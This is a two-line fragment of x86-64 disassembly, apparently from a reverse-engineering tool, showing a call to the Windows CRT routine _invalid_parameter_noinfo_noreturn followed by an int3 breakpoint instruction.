call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3